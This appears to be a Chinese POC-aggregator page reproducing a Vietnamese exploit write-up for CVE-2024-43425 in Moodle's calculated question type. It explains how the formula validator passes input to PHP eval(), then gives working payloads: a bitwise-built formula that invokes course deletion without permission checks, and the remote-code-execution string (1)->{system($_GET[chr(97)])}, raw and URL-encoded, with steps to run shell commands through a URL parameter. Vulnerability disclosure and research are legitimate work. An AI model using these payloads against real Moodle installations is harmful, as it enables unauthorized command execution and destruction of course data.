POC详情: 0e27420905493b82a576d58be7c133148df462ce

来源
关联漏洞
标题: Moodle 安全漏洞 (CVE-2024-43425)
描述:Moodle是Moodle开源的一套免费的电子学习软件平台,也称课程管理系统、学习管理系统或虚拟学习环境。 Moodle存在安全漏洞,该漏洞源于需要额外的限制来避免计算问题类型中的远程代码执行风险。
介绍
# CVE-2024-43425

## Firmware info:
Tên ứng dụng: Moodle  
Phiên bản xây dựng: moodle-4.4.1  
Các phiên bản bị ảnh hưởng: 4.4 đến 4.4.1, 4.3 đến 4.3.5, 4.2 đến 4.2.8, 4.1 đến 4.1.11 và các phiên bản không được hỗ trợ trước đó  
Liên kết tải xuống: [moodle-4.4.1](https://sourceforge.net/projects/moodle/files/Moodle/stable404/moodle-4.4.1.zip/download)  
## Description and Impact  
Những kẻ tấn công có quyền tạo hoặc sửa đổi câu hỏi trong khóa học Moodle có thể tạo ra dữ liệu đầu vào độc hại cho các câu hỏi được tính toán, có thể bị lạm dụng để thực thi các lệnh tùy ý trên hệ thống cơ bản.
## Root-casue

![alt](images/Picture1.png)

Hàm qtype_calculated_find_formula_errors giúp đảm bảo tính hợp lệ của các công thức được nhập vào trong Moodle, ngăn chặn các lỗi cú pháp

![alt](images/Picture2.png)
 
Các biến được thay thế bằng số 1.0, công thức được chuyển đổi thành chữ thường và xóa khoảng trắng.

![alt](images/Picture3.png)

![alt](images/Picture4.png)
  
Logic xác thực chính được thực hiện bằng cách lặp qua công thức và xác định biểu thức toán học trong cùng bên trái, có thể phân biệt bằng cách thiếu dấu ngoặc đơn lồng nhau. Sau đó, biểu thức này được thay thế bằng a 1.0

![alt](images/Picture5.png)
 
Cuối cùng, sau khi biểu thức chính quy không trả về kết quả khớp bổ sung nào, công thức được coi là hợp lệ nếu nó chỉ chứa các toán tử hoặc số an toàn, Công thức ban đầu chỉ được chuyển đến eval.  
Việc xác minh kết quả được thực hiện bằng cách truyền công thức đến hàm php eval() sau khi lọc không hoàn tất. Có 2 cách tiếp cận để tránh quá trình logic xác thực:  
1)	Danh sách các hàm toán học được phép rõ ràng có thể được sử dụng để xây dựng các tên hàm tùy ý dưới dạng chuỗi bằng các phép toán từng bit, có thể được gọi là các hàm biến khi theo sau là dấu ngoặc đơn. Cách duy nhất được xác định để thêm dấu ngoặc đơn bắt buộc là sử dụng phép thay thế biến tích hợp, do đó cho phép kẻ tấn công gọi các hàm tùy ý được xác định trong ngữ cảnh Moodle trong khi truyền một đối số số duy nhất. Đầu ra của hàm được tiết lộ cho kẻ tấn công.

![alt](images/Picture6.png)
 
Thay thế các trình giữ chỗ biến như {a} bằng giá trị của chúng được gói trong (), nếu chúng ta thêm {a}vào biểu thức trên tương ứng với 'PRINTF'kết quả sẽ là 'PRINTF'(1) nên có thể định nghĩa một công thức trả lời với hai phần: a (function_name)và a {variable}.  
2)	Các biến không xác định không được thay thế trước khi được truyền vào hàm eval(), để chúng không bị ảnh hưởng như một phần của công thức. Ngoài ra, các kiểm tra vệ sinh cho tên biến ít nghiêm ngặt hơn các kiểm tra được triển khai cho tất cả các phần khác của công thức. Điều này có thể bị lạm dụng để gọi các hàm tùy ý khi sử dụng cú pháp php object->{"member"}.  
## Steps to reprocedure  
Tạo một câu hỏi được tính toán với một biến, ví dụ{a}
 
![alt](images/Picture7.png)

Lưu câu hỏi và xác định phạm vi giá trị của biến chính xác là ID của khóa học là 3

![alt](images/Picture8.png)
 
Lưu câu hỏi, sau đó chỉnh sửa lại biểu thức thành  
`((acos(2) . 0+acos(2) . 0+acos(2) . 0+acos(2) . 0+acos(2)) ^ (8 . 4 . 2 . 8 . 8 . 3 . 4 . 0 . 0 . 0 . -1 . 3) ^ (2 . 0 . 0 . 3 . 0 . 0 . 0 . 0 . 0 . -8 . 1 . 0) ^ (0 . 0 . 0 . 0 . 0 . 0 . -2 . 1 . 4 . 6 . 0 . 0) ^ (0 . 0 . 0 . 0 . -8 . 8 . 0 . 0 . 2 . 0 . -8)){a}`

![alt](images/Picture9.png)
 
Lưu câu hỏi đã sửa đổi sẽ dẫn đến lỗi, nhưng câu hỏi vẫn sẽ được lưu. Quay lại ngân hàng câu hỏi và xem trước câu hỏi, hàm DELETE_COURSE sẽ xóa khóa học có ID được chỉ định, bỏ qua mọi kiểm tra quyền. 

![alt](images/Picture10.png)

![alt](images/Picture11.png)
 
## Remote Code Execution  
Tạo một câu hỏi được tính toán Đặt công thức trả lời thành:  
(1)->{system($_GET[chr(97)])}
 
![alt](images/Picture12.png)

Biểu thức bị sửa đổi thành 1-0-system($_GET{chr(97)})

![alt](images/Picture13.png)
 
Chặn tin và  sửa đổi lại về (1)->{system($_GET[chr(97)])}
%281%29-%3E%7Bsystem%28%24_GET%5Bchr%2897%29%5D%29%7D

![alt](images/Picture14.png)
 
Xuất hiện lỗi exception-system():Argument#1($command) cannotbe empty

![alt](images/Picture15.png)
 
Cung cấp lệnh mong muốn bằng cách thêm &a=[arbitrary command]vào URL. Đầu ra của lệnh hệ thống được chỉ định sẽ được đưa vào đầu phản hồi HTTP kết quả.   
A=id

![alt](images/Picture16.png)

A=ls

![alt](images/Picture17.png)

## Recommends  
Sửa hàm khử trùng qtype_calculated_find_formula_errors để /question/type/calculated/questiontype.php luôn trả về giá trị sai nếu các câu hỏi được tính toán không được sử dụng.

文件快照

[4.0K] /data/pocs/0e27420905493b82a576d58be7c133148df462ce ├── [4.0K] images │   ├── [ 95K] Picture10.png │   ├── [ 41K] Picture11.png │   ├── [ 55K] Picture12.png │   ├── [127K] Picture13.png │   ├── [150K] Picture14.png │   ├── [ 58K] Picture15.png │   ├── [137K] Picture16.png │   ├── [139K] Picture17.png │   ├── [ 72K] Picture1.png │   ├── [168K] Picture2.png │   ├── [208K] Picture3.png │   ├── [111K] Picture4.png │   ├── [ 53K] Picture5.png │   ├── [ 58K] Picture6.png │   ├── [ 50K] Picture7.png │   ├── [ 39K] Picture8.png │   └── [ 56K] Picture9.png └── [5.4K] README.md 1 directory, 18 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。